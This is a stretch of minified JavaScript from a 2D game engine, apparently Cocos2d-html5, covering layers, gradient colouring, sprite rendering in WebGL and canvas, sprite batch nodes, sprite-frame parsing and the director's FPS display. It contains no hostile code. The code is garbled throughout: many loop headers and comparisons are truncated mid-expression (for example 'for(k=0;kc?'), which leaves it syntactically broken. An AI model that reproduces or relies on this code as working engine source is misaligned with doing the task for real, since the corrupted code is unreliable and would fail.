e=b.Cb.BYTES_PER_ELEMENT;this.Pa+=d;if(this.Pa>this.zd)b.log(b.e.dI);else{var f=c*e,g=(this.Pa-1-c-d)*e,h=this.Pa-1-d,k;for(k=0;kc?(g=c*d,e.set(e.subarray(g,g+(a-c)*d),g+d),e.set(f,g)):(g=(a+1)*d,e.set(e.subarray(g,g+(c-a)*d),g-d),e.set(f,c*d));this.dirty=!0}},OO:function(a){b.assert(ad){g=[];h=new ArrayBuffer(c*e);for(a=0;ad?(c=new Uint16Array(6*e),c.set(this.nb,0),this.nb=c):this.nb=this.nb.subarray(0,6*e);this.HL(); this.bw();return this.dirty=!0},JN:function(a){this.Pa+=a},pO:function(a,c,d){if(void 0===d){if(d=c,c=this.Pa-a,b.assert(d+(this.Pa-a)<=this.zd,b.e.aU),0===c)return}else if(b.assert(d+c<=this.Pa,b.e.bU),b.assert(a=c&&this.Rt(this.us)}}); b.mH.oy=function(a,c){var d=b;d.it||(d.it=new b.mH,d.it.G());d.it.jF(a,c);b.D.Xm(d.it);return d.it};b.B.tz=function(){var a=b.ae.prototype;a.oM=function(){};a.QP=function(){};a.T=b.q.prototype.T}; b.B.EA=function(){var a=b.gd.prototype;a.Aw=null;a.sD=null;a.WD=null;a.hB=null;a.uD=null;a.tD=null;a.ctor=function(a,d,e){this.uD=new ArrayBuffer(32);this.tD=new ArrayBuffer(16);var f=this.uD,g=this.tD,h=b.Zb.BYTES_PER_ELEMENT,k=b.Af.BYTES_PER_ELEMENT;this.Aw=[new b.Zb(0,0,f,0),new b.Zb(0,0,f,h),new b.Zb(0,0,f,2*h),new b.Zb(0,0,f,3*h)];this.sD=[b.color(0,0,0,255,g,0),b.color(0,0,0,255,g,k),b.color(0,0,0,255,g,2*k),b.color(0,0,0,255,g,3*k)];this.WD=b.k.createBuffer();this.hB=b.k.createBuffer();b.Bf.prototype.ctor.call(this); this.o=new b.Rj(b.hc,b.gc);b.gd.prototype.G.call(this,a,d,e)};a.$d=function(a,d){var e=this.Aw;void 0===d?(e[1].x=a.width,e[2].y=a.height,e[3].x=a.width,e[3].y=a.height):(e[1].x=a,e[2].y=d,e[3].x=a,e[3].y=d);this.XA();b.ae.prototype.$d.call(this,a,d)};a.qj=function(a){var d=this.Aw;d[1].x=a;d[3].x=a;this.XA();b.ae.prototype.qj.call(this,a)};a.pj=function(a){var d=this.Aw;d[2].y=a;d[3].y=a;this.XA();b.ae.prototype.pj.call(this,a)};a.fc=function(){for(var a=this.Fa,d=this.Ca,e=this.sD,f=0;4>f;f++)e[f].r= a.r,e[f].g=a.g,e[f].b=a.b,e[f].a=d;this.cJ()};a.Z=function(a){a=a||b.k;b.kt(this);b.Ic(b.Od|b.Tu);a.bindBuffer(a.ARRAY_BUFFER,this.WD);a.vertexAttribPointer(b.tb,2,a.FLOAT,!1,0,0);a.bindBuffer(a.ARRAY_BUFFER,this.hB);a.vertexAttribPointer(b.Ae,4,a.UNSIGNED_BYTE,!0,0,0);b.Mh(this.o.src,this.o.U);a.drawArrays(a.TRIANGLE_STRIP,0,4)};a.XA=function(){var a=b.k;a.bindBuffer(a.ARRAY_BUFFER,this.WD);a.bufferData(a.ARRAY_BUFFER,this.uD,a.STATIC_DRAW)};a.cJ=function(){var a=b.k;a.bindBuffer(a.ARRAY_BUFFER, this.hB);a.bufferData(a.ARRAY_BUFFER,this.tD,a.STATIC_DRAW)}}; b.B.FA=function(){var a=b.ul.prototype;a.Z=b.gd.prototype.Z;a.fc=function(){var a=this.kk,d=b.dl(a);if(0!==d){var e=Math.sqrt(2),a=N(a.x/d,a.y/d);this.ov&&(a=b.Ii(a,1/(Math.abs(a.x)+Math.abs(a.y))*e));var f=this.Ca/255,d=this.Fa,g=this.Fe,d={r:d.r,g:d.g,b:d.b,a:this.zo*f},f={r:g.r,g:g.g,b:g.b,a:this.Sn*f},h=this.sD,g=h[0],k=h[1],m=h[2],h=h[3];g.r=f.r+(e+a.x+a.y)/(2*e)*(d.r-f.r);g.g=f.g+(e+a.x+a.y)/(2*e)*(d.g-f.g);g.b=f.b+(e+a.x+a.y)/(2*e)*(d.b-f.b);g.a=f.a+(e+a.x+a.y)/(2*e)*(d.a-f.a);k.r=f.r+(e-a.x+ a.y)/(2*e)*(d.r-f.r);k.g=f.g+(e-a.x+a.y)/(2*e)*(d.g-f.g);k.b=f.b+(e-a.x+a.y)/(2*e)*(d.b-f.b);k.a=f.a+(e-a.x+a.y)/(2*e)*(d.a-f.a);m.r=f.r+(e+a.x-a.y)/(2*e)*(d.r-f.r);m.g=f.g+(e+a.x-a.y)/(2*e)*(d.g-f.g);m.b=f.b+(e+a.x-a.y)/(2*e)*(d.b-f.b);m.a=f.a+(e+a.x-a.y)/(2*e)*(d.a-f.a);h.r=f.r+(e-a.x-a.y)/(2*e)*(d.r-f.r);h.g=f.g+(e-a.x-a.y)/(2*e)*(d.g-f.g);h.b=f.b+(e-a.x-a.y)/(2*e)*(d.b-f.b);h.a=f.a+(e-a.x-a.y)/(2*e)*(d.a-f.a);this.cJ()}}};b.B.Nz=function(){var a=b.Bf.prototype;b.f(a,"opacityModifyRGB",a.ue,a.Jd);b.f(a,"opacity",a.Se,a.Ba);b.f(a,"cascadeOpacity",a.ct,a.Fp);b.f(a,"color",a.Re,a.La);b.f(a,"cascadeColor",a.bt,a.Ep)};b.B.Lz=function(){var a=b.gd.prototype;b.f(a,"width",a.jh,a.qj);b.f(a,"height",a.xk,a.pj)};b.B.Mz=function(){var a=b.ul.prototype;b.f(a,"startColor",a.tx,a.Ze);b.f(a,"endColor",a.ox,a.Xe);b.f(a,"startOpacity",a.w0,a.R3);b.f(a,"endOpacity",a.J_,a.p3);b.f(a,"vector",a.C0,a.a4)};b.ae=b.q.extend({Ul:!1,hv:null,ub:"Layer",ctor:function(){var a=b.q.prototype;a.ctor.call(this);this.dj=!0;a.fl.call(this,0.5,0.5);a.$d.call(this,b.Vt)},oM:null,QP:null,Yca:function(){return this.Ul},T:null});b.ae.create=function(){return new b.ae}; if(b.A===b.Ea){var T=b.ae.prototype;T.oM=function(){if(!this.Ul){this.Ul=this.Ag=!0;this.Wi=this;for(var a=this.s,c=0,d=a.length;ch.zb)h.T(g);else break;for(this.Z(g);c=this.je.length?b.log(b.e.IR):(this.removeChild(this.je[this.Sl],!0),this.Sl=a,this.N(this.je[a]))},Qja:function(a){a>=this.je.length?b.log(b.e.JR):(this.removeChild(this.je[this.Sl],!0),this.je[this.Sl]=null,this.Sl=a,this.N(this.je[a]))}, G8:function(a){a?this.je.push(a):b.log(b.e.GR)}});b.uz.create=function(){return new b.uz(arguments)};b.B.GA=function(){var a=b.Q.prototype;a.rD=function(a){this.Ma(!0);this.hb(a.Lh(),a.me,a.nf);this.Qd()};a.Jd=function(a){this.Sa!==a&&(this.Sa=a,this.Tt())};a.Lb=function(a){b.ia.prototype.Lb.call(this,a);this.Tt()};a.ctor=function(a,d,e){b.ia.prototype.ctor.call(this);this.Mk=!1;this.Eb=N(0,0);this.Bh=N(0,0);this.o={src:b.hc,U:b.gc};this.ha=Q(0,0,0,0);this.Ub=new b.Cb;this.ow=b.k.createBuffer();this.na=this.He=!0;this.ML(a,d,e)};a.We=function(a,d){var e=this.o;void 0===d?(e.src=a.src,e.U=a.U):(e.src= a,e.U=d)};a.G=function(){if(0a.width&&b.error(b.e.Uz,a.url),g>a.height&& b.error(b.e.Tz,a.url));this.texture=a;this.hb(d,e);this.batchNode=null;return this.He=!0};a.Lw=function(a){if(!this.na){this.na=!0;var d=this.ha;d?b.LC(d)&&(d.width=a.width,d.height=a.height):d=Q(0,0,a.width,a.height);this.texture=a;this.hb(d,this.$c);this.batchNode=this.X;this.He=!0;this.Qd()}};a.hb=function(a,d,e){this.$c=d||!1;this.$d(e||a);this.vG(a);this.EL(a);a=this.Bh;this.Qb&&(a.x=-a.x);this.Rb&&(a.y=-a.y);var f=this.ha;this.Eb.x=a.x+(this.O.width-f.width)/2;this.Eb.y=a.y+(this.O.height-f.height)/ 2;if(this.X)this.dirty=!0;else{a=0+this.Eb.x;d=0+this.Eb.y;e=a+f.width;var f=d+f.height,g=this.Ub;g.F.i={x:a,y:d,z:0};g.M.i={x:e,y:d,z:0};g.L.i={x:a,y:f,z:0};g.J.i={x:e,y:f,z:0};this.He=!0}};a.bf=function(){if(this.dirty){var a=this.Ub,d=this.Tb;if(!this.zc||d&&d!=this.X&&d.Mk)a.M.i={x:0,y:0,z:0},a.L.i={x:0,y:0,z:0},a.J.i={x:0,y:0,z:0},a.F.i={x:0,y:0,z:0},this.Mk=!0;else{this.Mk=!1;var e=this.rm=d&&d!=this.X?b.nl(this.Ve(),d.rm):this.Ve(),f=this.ha,d=this.Eb.x,g=this.Eb.y,h=d+f.width,k=g+f.height, m=e.Na,p=e.Oa,r=e.a,s=e.b,u=e.I,t=-e.C,e=d*r-g*t+m,f=d*s+g*u+p,v=h*r-g*t+m,g=h*s+g*u+p,w=h*r-k*t+m,h=h*s+k*u+p,m=d*r-k*t+m,d=d*s+k*u+p,k=this.ys;b.Zz||(e|=0,f|=0,v|=0,g|=0,w|=0,h|=0,m|=0,d|=0);a.F.i={x:e,y:f,z:k};a.M.i={x:v,y:g,z:k};a.L.i={x:m,y:d,z:k};a.J.i={x:w,y:h,z:k}}this.textureAtlas.Ry(a,this.atlasIndex);this.dirty=this.sh=!1}this.gi&&this.zg(this.s,b.q.Ff.bf);b.Wj&&b.Ee.Zd([N(this.Ub.F.i.x,this.Ub.F.i.y),N(this.Ub.M.i.x,this.Ub.M.i.y),N(this.Ub.J.i.x,this.Ub.J.i.y),N(this.Ub.L.i.x,this.Ub.L.i.y)], 4,!0)};a.N=function(a,d,e){b.assert(a,b.e.gT);null==d&&(d=a.zb);null==e&&(e=a.tag);if(this.X){if(!(a instanceof b.Q)){b.log(b.e.eT);return}a.texture.Xd!==this.textureAtlas.texture.Xd&&b.log(b.e.fT);this.X.appendChild(a);this.Wd||this.iD()}b.ia.prototype.N.call(this,a,d,e);this.gi=!0};a.Ba=function(a){b.ia.prototype.Ba.call(this,a);this.Tt()};a.La=function(a){b.ia.prototype.La.call(this,a);this.Tt()};a.Pb=function(a){b.ia.prototype.Pb.call(this,a);this.Tt()};a.il=function(a){var d=this;"string"==typeof a&& (a=b.ud.qd(a),b.assert(a,b.e.yT));d.Ma(!0);var e=a.la;d.Bh.x=e.x;d.Bh.y=e.y;e=a.Qa();a.na||(d.na=!1,a.Yd(function(a){d.na=!0;var c=a.Qa();c!=d.K&&(d.texture=c);d.hb(a.Lh(),a.me,a.nf);d.Qd()},d));e!=d.K&&(d.texture=e);d.$c=a.me;d.hb(a.Lh(),d.$c,a.nf)};a.YN=function(a){return b.IO(a.Lh(),this.ha)&&a.Qa().getName()==this.K.getName()&&b.QF(a.la,this.Bh)};a.hl=function(a){if(this.X=a)this.rm={a:1,b:0,C:0,I:1,Na:0,Oa:0},this.textureAtlas=this.X.textureAtlas;else{this.atlasIndex=b.Q.qz;this.textureAtlas= null;this.dirty=this.sh=!1;a=this.Eb.x;var d=this.Eb.y,e=a+this.ha.width,f=d+this.ha.height,g=this.Ub;g.F.i={x:a,y:d,z:0};g.M.i={x:e,y:d,z:0};g.L.i={x:a,y:f,z:0};g.J.i={x:e,y:f,z:0};this.He=!0}};a.sb=function(a){a&&"string"===typeof a?(a=b.Da.Bc(a),this.sb(a),a=a.Jh(),this.hb(Q(0,0,a.width,a.height))):(b.assert(!a||a instanceof b.da,b.e.AT),this.X&&this.X.texture!=a?b.log(b.e.zT):(this.shaderProgram=a?b.Ld.nc(b.Ti):b.Ld.nc(b.Gu),this.X||this.K==a||(this.K=a,this.Yf())))};a.Z=function(){if(this.na){var a= b.k,d=this.K;d?d.vc&&(this.Hb.Mc(),this.Hb.af(),b.Mh(this.o.src,this.o.U),b.bF(0,d),b.Ic(b.Gl),a.bindBuffer(a.ARRAY_BUFFER,this.ow),this.He&&(a.bufferData(a.ARRAY_BUFFER,this.Ub.Ww,a.DYNAMIC_DRAW),this.He=!1),a.vertexAttribPointer(0,3,a.FLOAT,!1,24,0),a.vertexAttribPointer(1,4,a.UNSIGNED_BYTE,!0,24,12),a.vertexAttribPointer(2,2,a.FLOAT,!1,24,16),a.drawArrays(a.TRIANGLE_STRIP,0,4)):(this.Hb.Mc(),this.Hb.af(),b.Mh(this.o.src,this.o.U),b.te(null),b.Ic(b.Od|b.Tu),a.bindBuffer(a.ARRAY_BUFFER,this.ow), this.He&&(b.k.bufferData(b.k.ARRAY_BUFFER,this.Ub.Ww,b.k.STATIC_DRAW),this.He=!1),a.vertexAttribPointer(b.tb,3,a.FLOAT,!1,24,0),a.vertexAttribPointer(b.Ae,4,a.UNSIGNED_BYTE,!0,24,12),a.drawArrays(a.TRIANGLE_STRIP,0,4));b.bg++;if(0!==b.Wj||this.mD)1===b.Wj||this.mD?(a=this.Ub,b.Ee.Zd([N(a.L.i.x,a.L.i.y),N(a.F.i.x,a.F.i.y),N(a.M.i.x,a.M.i.y),N(a.J.i.x,a.J.i.y)],4,!0)):2===b.Wj&&(a=this.CN(),d=this.Eb,b.Ee.Zd([N(d.x,d.y),N(d.x+a.width,d.y),N(d.x+a.width,d.y+a.height),N(d.x,d.y+a.height)],4,!0))}};delete a};b.B.Oz=function(){var a=b.Q.prototype;b.f(a,"opacityModifyRGB",a.ue,a.Jd);b.f(a,"opacity",a.Se,a.Ba);b.f(a,"color",a.Re,a.La);b.f(a,"flippedX",a.e1,a.Ay);b.f(a,"flippedY",a.f1,a.gG);b.f(a,"offsetX",a.cW);b.f(a,"offsetY",a.dW);b.f(a,"texture",a.Qa,a.sb);b.f(a,"textureRectRotated",a.l1);b.f(a,"batchNode",a.LE,a.hl);b.f(a,"quad",a.k0)};b.$o=function(a){function c(){var c=b.$o,e=a.width,h=a.height;d[0].width=e;d[0].height=h;d[1].width=e;d[1].height=h;d[2].width=e;d[2].height=h;d[3].width=e;d[3].height=h;c.canvas.width=e;c.canvas.height=h;var k=c.canvas.getContext("2d");k.drawImage(a,0,0);c.CG.width=e;c.CG.height=h;for(var k=k.getImageData(0,0,e,h).data,m=0;4>m;m++){var p=d[m].getContext("2d");p.getImageData(0,0,e,h).data;c.JP.drawImage(a,0,0);for(var r=c.JP.getImageData(0,0,e,h),s=r.data,u=0;ua+g+d&&(m.globalAlpha=p,m.drawImage(c[3],e.x,e.y,h,k,0,0,h,k));m.restore();return f};b.yE=function(a,c){if(!a)return null;if(!c)return a;var d=b.Ob("canvas");d.width=c.width;d.height=c.height;var e=d.getContext("2d");e.translate(d.width/2,d.height/2);e.rotate(-1.5707963267948966);e.drawImage(a,c.x,c.y,c.height,c.width,-c.height/2,-c.width/2,c.height,c.width);return d}; b.Q=b.ia.extend({yb:!0,dirty:!1,atlasIndex:0,textureAtlas:null,X:null,sh:null,gi:null,Mk:!1,rm:null,o:null,K:null,ha:null,$c:!1,Eb:null,Bh:null,Sa:!1,Qb:!1,Rb:!1,na:!1,gb:null,iC:null,ub:"Sprite",Mt:function(){return this.na},Yd:function(a,c){this.gb||(this.gb=[]);this.gb.push({Fh:a,ag:c})},Qd:function(){if(this.gb){for(var a=this.gb,c=0,d=a.length;ca.width&&b.error(b.e.Uz,a.url),e>a.height&&b.error(b.e.Tz,a.url));this.texture=this.ke=a;this.hb(c,d);this.batchNode=null;return!0},n.Lw=function(a){if(!this.na){this.na=!0;var c=this.ha;c?b.LC(c)&&(c.width=a.width,c.height=a.height):c=Q(0,0,a.width,a.height);this.texture=this.ke=a;this.hb(c,this.$c);this.batchNode=this.X;this.Qd()}},n.hb=function(a,c,d){this.$c=c||!1;this.$d(d||a);this.vG(a);c=this.Do;d=b.rb();c.x=0|a.x*d;c.y=0|a.y*d;c.width=0|a.width*d;c.height=0|a.height* d;c.Qp=!(0===c.width||0===c.height||0>c.x||0>c.y);a=this.Bh;this.Qb&&(a.x=-a.x);this.Rb&&(a.y=-a.y);this.Eb.x=a.x+(this.O.width-this.ha.width)/2;this.Eb.y=a.y+(this.O.height-this.ha.height)/2;this.X&&(this.dirty=!0)},n.bf=function(){if(this.dirty){var a=this.Tb;!this.zc||a&&a!=this.X&&a.Mk?this.Mk=!0:(this.Mk=!1,this.rm=a&&a!=this.X?b.nl(this.Ve(),a.rm):this.Ve());this.dirty=this.sh=!1}this.gi&&this.zg(this.s,b.q.Ff.bf)},n.N=function(a,c,d){b.assert(a,b.e.uQ);null==c&&(c=a.zb);null==d&&(d=a.tag); b.ia.prototype.N.call(this,a,c,d);this.gi=!0},n.Ba=function(a){b.ia.prototype.Ba.call(this,a);this.wh()},n.La=function(a){var c=this.color;if(c.r!==a.r||c.g!==a.g||c.b!==a.b)b.ia.prototype.La.call(this,a),this.mk(),this.wh()},n.Pb=function(a){var c=this.color;b.ia.prototype.Pb.call(this,a);a=this.Fa;if(c.r!==a.r||c.g!==a.g||c.b!==a.b)this.mk(),this.wh()},n.il=function(a){var c=this;"string"==typeof a&&(a=b.ud.qd(a),b.assert(a,b.e.zQ));c.Ma(!0);var d=a.la;c.Bh.x=d.x;c.Bh.y=d.y;c.$c=a.me;var d=a.Qa(), e=a.na;e||(c.na=!1,a.Yd(function(a){c.na=!0;var d=a.Qa();d!=c.K&&(c.texture=d);c.hb(a.Lh(),a.me,a.nf);c.Qd()},c));d!=c.K&&(c.texture=d);c.$c&&(c.ke=d);c.hb(a.Lh(),c.$c,a.nf);c.nv=!1;e&&(a=c.color,255===a.r&&255===a.g&&255===a.b||c.mk())},n.YN=function(a){return a.Qa()!=this.K?!1:b.IO(a.Lh(),this.ha)},n.hl=function(a){(this.X=a)?(this.rm={a:1,b:0,C:0,I:1,Na:0,Oa:0},this.textureAtlas=this.X.textureAtlas):(this.atlasIndex=b.Q.qz,this.textureAtlas=null,this.dirty=this.sh=!1)},n.sb=function(a){a&&"string"=== typeof a?(a=b.Da.Bc(a),this.sb(a),a=a.Jh(),this.hb(Q(0,0,a.width,a.height))):(b.assert(!a||a instanceof b.da,b.e.AQ),this.K!=a&&(a&&a.Db instanceof HTMLImageElement&&(this.ke=a),this.K=a))},n.Z=function(a){if(this.na){a=a||b.k;this.mo&&(a.globalCompositeOperation="lighter");var c=b.view.pa,d=b.view.Ta;a.globalAlpha=this.Ca/255;var e=this.ha,f=this.O,g=this.Eb,h=this.rB,k=0|g.x,m=-g.y-e.height,p=this.Do;h.width=e.width*c;h.height=e.height*d;if(this.Qb||this.Rb)a.save(),this.Qb&&(k=-g.x-e.width,a.scale(-1, 1)),this.Rb&&(m=g.y,a.scale(1,-1));k*=c;m*=d;this.K&&p.Qp?(f=this.K.Db,this.nv?a.drawImage(f,0,0,p.width,p.height,k,m,h.width,h.height):a.drawImage(f,p.x,p.y,p.width,p.height,k,m,h.width,h.height)):!this.K&&p.Qp&&(h=this.color,a.fillStyle="rgba("+h.r+","+h.g+","+h.b+",1)",a.fillRect(k,m,f.width*c,f.height*d));1===b.Wj||this.mD?(a.strokeStyle="rgba(0,255,0,1)",k/=c,m=-(m/d),b.Ee.Zd([N(k,m),N(k+e.width,m),N(k+e.width,m-e.height),N(k,m-e.height)],4,!0)):2===b.Wj&&(a.strokeStyle="rgba(0,255,0,1)",c=this.ha, m=-m,b.Ee.Zd([N(k,m),N(k+c.width,m),N(k+c.width,m-c.height),N(k,m-c.height)],4,!0));(this.Qb||this.Rb)&&a.restore();b.bg++}},delete n):(b.assert("function"===typeof b.B.GA,b.e.Nc,"SpritesWebGL.js"),b.B.GA(),delete b.B.GA);b.assert("function"===typeof b.B.Oz,b.e.Nc,"SpritesPropertyDefine.js");b.B.Oz();delete b.B.Oz;b.az=29; b.ef=b.q.extend({textureAtlas:null,o:null,Bd:null,ub:"SpriteBatchNode",QY:function(a,c,d){b.assert(a,b.e.YS);if(!(a instanceof b.Q))return b.log(b.e.XS),null;a.atlasIndex=c;var e=0,f=this.Bd;if(f&&0=c&&++e}f.splice(e,0,a);b.q.prototype.N.call(this,a,c,d);this.PO(!1);return this},YE:function(){return this.textureAtlas},rG:function(a){a!=this.textureAtlas&&(this.textureAtlas=a)},G_:function(){return this.Bd},$k:function(a,c){var d=b.Da.bn(a); d||(d=b.Da.Bc(a));return this.ta(d,c)},wh:function(){this.Ag=!0},G:function(a,c){var d=b.Da.bn(a);d||(d=b.Da.Bc(a));return this.ta(d,c)},Fx:function(){var a=this.textureAtlas.capacity,c=Math.floor(4*(a+1)/3);b.log(b.e.ZS,a,c);this.textureAtlas.XF(c)||b.log(b.e.$S)},J2:function(a,c){this.removeChild(this.s[a],c)},GO:function(a,c){var d=a.children;if(d&&0f.zIndex&&(c=this.GO(f,c))}!a==this&&(a.atlasIndex=c,c++);if(d&&0c?d.atlasIndex:d.atlasIndex+1:0>g.zIndex&&0>c||0<=g.zIndex&&0<=c?this.gF(g)+1:d.atlasIndex+1},PO:function(a){this.Wd=a},We:function(a,c){this.o= void 0===c?a:{src:a,U:c}},Hh:function(){return this.o},Ap:function(a,c){b.assert(a,b.e.cT);-1===this.s.indexOf(a)?b.log(b.e.bT):c!==a.zIndex&&(b.q.prototype.Ap.call(this,a,c),this.Ma())},removeChild:function(a,c){null!=a&&(-1===this.s.indexOf(a)?b.log(b.e.aT):(this.Vm(a),b.q.prototype.removeChild.call(this,a,c)))},WW:null,Rk:null,z8:!1,ke:null,ctor:null,hr:function(a,c){b.q.prototype.ctor.call(this);var d;c=c||b.az;"string"==typeof a?(d=b.Da.bn(a))||(d=b.Da.Bc(a)):a instanceof b.da&&(d=a);d&&this.ta(d, c)},ir:function(a,c){b.q.prototype.ctor.call(this);this.WW=new b.ca;var d;c=c||b.az;"string"==typeof a?(d=b.Da.bn(a))||(d=b.Da.Bc(a)):a instanceof b.da&&(d=a);d&&this.ta(d,c)},WP:null,JY:function(a,c){b.assert(a,b.e.BQ);a instanceof b.Q?(a.batchNode=this,a.atlasIndex=c,a.dirty=!0,a.bf()):b.log(b.e.Zy)},KY:function(a,c){b.assert(a,b.e.Zy);if(a instanceof b.Q){for(var d=this.textureAtlas.capacity;c>=d||d==this.textureAtlas.totalQuads;)this.Fx();a.batchNode=this;a.atlasIndex=c;a.dirty=!0;a.bf()}else b.log(b.e.Zy)}, Qk:function(a,c){var d=this.Bd,e=this.textureAtlas,f=e.quads,g=d[a],h=b.JI(f[a]);d[c].atlasIndex=a;d[a]=d[c];e.Ry(f[c],a);d[c]=g;e.Ry(h,c)},Kx:null,GW:function(a,c){b.assert(a,b.e.yQ);a instanceof b.Q?(a.batchNode=this,a.atlasIndex=c,a.dirty=!0,a.bf(),this.s.splice(c,0,a)):b.log(b.e.xQ)},HW:function(a,c){b.assert(a,b.e.rT);if(a instanceof b.Q){for(var d=this.textureAtlas;c>=d.capacity||d.capacity===d.totalQuads;)this.Fx();a.batchNode=this;a.atlasIndex=c;d.qF(a.quad,c);a.dirty=!0;a.bf()}else b.log(b.e.qT)}, aM:function(a,c){var d=0,e=a.children;e&&(d=e.length);var f=0;if(0===d)f=a.atlasIndex,a.atlasIndex=c,a.arrivalOrder=0,f!=c&&this.Qk(f,c),c++;else{f=!0;0<=e[0].zIndex&&(f=a.atlasIndex,a.atlasIndex=c,a.arrivalOrder=0,f!=c&&this.Qk(f,c),c++,f=!1);for(d=0;d=d.capacity&&this.Fx();d.qF(a.quad,c);this.Bd.splice(c,0,a);var d=c+ 1,e=this.Bd;if(e&&0a.width&&b.error(b.e.Uz,a.url);h>a.height&&b.error(b.e.Tz,a.url)}this.Je=c;this.ha=b.Jj(c);this.Rf.x=e.x;this.Rf.y=e.y;b.vC(e,this.la);this.Sf.width= f.width;this.Sf.height=f.height;b.LL(f,this.nf);this.me=d;return!0}});b.Ef.create=function(a,c,d,e,f){return new b.Ef(a,c,d,e,f)};b.Ef.X7=function(a,c,d,e,f){var g=new b.Ef;g.K=a;g.Je=c;g.ha=b.Jj(c);g.Rf.x=e.x;g.Rf.y=e.y;b.vC(g.Rf,g.la);g.Sf.width=f.width;g.Sf.height=f.height;b.LL(g.Sf,g.nf);g.me=d;return g};b.ud={RI:/^\s*\{\s*([\-]?\d+[.]?\d*)\s*,\s*([\-]?\d+[.]?\d*)\s*\}\s*$/,vU:/^\s*\{\s*\{\s*([\-]?\d+[.]?\d*)\s*,\s*([\-]?\d+[.]?\d*)\s*\}\s*,\s*\{\s*([\-]?\d+[.]?\d*)\s*,\s*([\-]?\d+[.]?\d*)\s*\}\s*\}\s*$/,zh:{},sj:{},$n:{},jL:function(a){return(a=this.vU.exec(a))?Q(parseFloat(a[1]),parseFloat(a[2]),parseFloat(a[3]),parseFloat(a[4])):Q(0,0,0,0)},$K:function(a){return(a=this.RI.exec(a))?N(parseFloat(a[1]),parseFloat(a[2])):N(0,0)},nD:function(a){return(a=this.RI.exec(a))?O(parseFloat(a[1]),parseFloat(a[2])): O(0,0)},UV:function(a){var c=b.V.Gd(a);b.assert(c,b.e.k4,a);b.V.Ki(a);if(c.io)return this.$n[a]=c;var d=c.frames,e=c.metadata||c.meta,c={},f={},g=0;e&&(g=e.format,g=1>=g.length?parseInt(g):g,f.N0=e.textureFileName||e.textureFileName||e.image);for(var h in d){var k=d[h];if(k){e={};if(0==g){e.rect=Q(k.x,k.y,k.width,k.height);e.xy=!1;e.offset=N(k.offsetX,k.offsetY);var m=k.originalWidth,k=k.originalHeight;m&&k||b.log(b.e.j4);m=Math.abs(m);k=Math.abs(k);e.size=O(m,k)}else if(1==g||2==g)e.rect=this.jL(k.frame), e.xy=k.rotated||!1,e.offset=this.$K(k.offset),e.size=this.nD(k.sourceSize);else if(3==g){var m=this.nD(k.spriteSize),p=this.jL(k.textureRect);m&&(p=Q(p.x,p.y,m.width,m.height));e.rect=p;e.xy=k.textureRotated||!1;e.offset=this.$K(k.spriteOffset);e.size=this.nD(k.spriteSourceSize);e.TY=k.aliases}else m=k.frame,p=k.sourceSize,h=k.filename||h,e.rect=Q(m.x,m.y,m.w,m.h),e.xy=k.rotated||!1,e.offset=N(0,0),e.size=O(p.w,p.h);c[h]=e}}return this.$n[a]={io:!0,frames:c,W1:f}},jM:function(a,c){b.assert(a,b.e.m4); var d=this.$n[a]||b.V.Gd(a);if(d&&d.frames){var e=this.$n[a]||this.UV(a),d=e.frames,e=e.W1;c?c instanceof b.da||("string"==typeof c?c=b.Da.Bc(c):b.assert(0,b.e.n4)):c=b.Da.Bc(b.path.Po(a,e.N0||".png"));var e=this.sj,f=this.zh,g;for(g in d){var h=d[g],k=f[g];if(!k){k=b.Ef.create(c,h.rect,h.xy,h.offset,h.size);if(h=h.TY)for(var m=0,p=h.length;mthis.R.height?0|this.R.height/320*24:0|this.R.width/320*24;this.Gf= b.W.create("000.0","Arial",a);this.Hf=b.W.create("0.000","Arial",a);this.Lf=b.W.create("0000","Arial",a);a=b.bz;this.Lf.P(this.Lf.width/2+a.x,5*this.Lf.height/2+a.y);this.Hf.P(this.Hf.width/2+a.x,3*this.Hf.height/2+a.y);this.Gf.P(this.Gf.width/2+a.x,this.Gf.height/2+a.y)};a.BZ=function(a){var d=new b.ca;b.fH(d);var e=new b.ca;b.B1(e,d);var f=this.qh.OE(),g=new b.xb;b.jO(g,new b.xb(2*a.x/f.width-1,1-2*a.y/f.height,d.c[14]/d.c[15]),e);return N(g.x,g.y)};a.DZ=function(a){var d=new b.ca;b.fH(d);var e= new b.xb;b.jO(e,new b.xb(a.x,a.y,0),d);a=this.qh.OE();return N(a.width*(0.5*e.x+0.5),a.height*(0.5*-e.y+0.5))};a.Vs=function(){return this.qh.Vs()};a.aF=function(){return this.qh.aF()};a.Xs=function(){return this.R.height/1.1566};a.AP=function(){var a=this.qh;if(a){var d=this.R;a.d4(-a.se.x/a.pa,-a.se.y/a.Ta,d.width,d.height)}};a.uba=function(){return this.qh};a.Lba=function(){return this.qi};a.b3=function(){b.Mh(b.hc,b.gc)};a.gP=function(){this.b3();this.aP(!1);this.$m(this.qi);b.k.clearColor(0, 0,0,1)}};b.bg=0;b.fH=function(a){var c=new b.ca;b.Px(b.Ri,c);var d=new b.ca;b.Px(b.Qi,d);b.Ei(a,c,d)}; b.Xa=b.ja.extend({g8:!1,Pr:!1,lc:!1,nw:!1,Ik:!1,$q:0,kC:0,qi:0,xn:0,hh:1,nr:!1,ok:0,AB:0,Gf:null,Hf:null,Lf:null,R:null,Bk:null,ji:null,dw:null,qh:null,ti:null,IC:null,ad:null,Td:0,Nw:0,VC:0,U7:null,Vf:null,xg:null,Fv:null,uB:null,wB:null,vB:null,ctor:function(){var a=this;a.Bk=Date.now();b.sa.dE(b.Hc.Yp,function(){a.Bk=Date.now()})},G:function(){this.kC=this.$q=1/b.HZ;this.ti=[];this.qi=b.Xa.uS;this.IC=null;this.AB=this.xn=0;this.nr=!1;this.Nw=this.Td=0;this.Bk=Date.now();this.nw=this.lc=!1;this.R= O(0,0);this.qh=null;this.hh=1;this.Vf=new b.Fq;this.xg=b.JG?new b.JG:null;this.Vf.bG(this.xg,b.Fq.Au,!1);this.uB=new b.Oi(b.Xa.WQ);this.uB.setUserData(this);this.wB=new b.Oi(b.Xa.YQ);this.wB.setUserData(this);this.vB=new b.Oi(b.Xa.XQ);this.vB.setUserData(this);this.Fv=new b.Oi(b.Xa.ZQ);this.Fv.setUserData(this);return!0},rZ:function(){var a=Date.now();this.Pr?(this.ok=0,this.Pr=!1):this.ok=(a-this.Bk)/1E3;0b.JQ&&(this.Hf.string=this.VC.toFixed(3),this.AB=this.Td/this.xn,this.xn=this.Td=0,this.Gf.string=this.AB.toFixed(1),this.Lf.string=(0|b.bg).toString()),this.Gf.T(),this.Hf.T(),this.Lf.T()):this.Nn();b.bg=0},nda:function(){return this.Ik},Sba:function(){return this.ad},aaa:function(){return this.$q},ada:function(){return this.nr}, 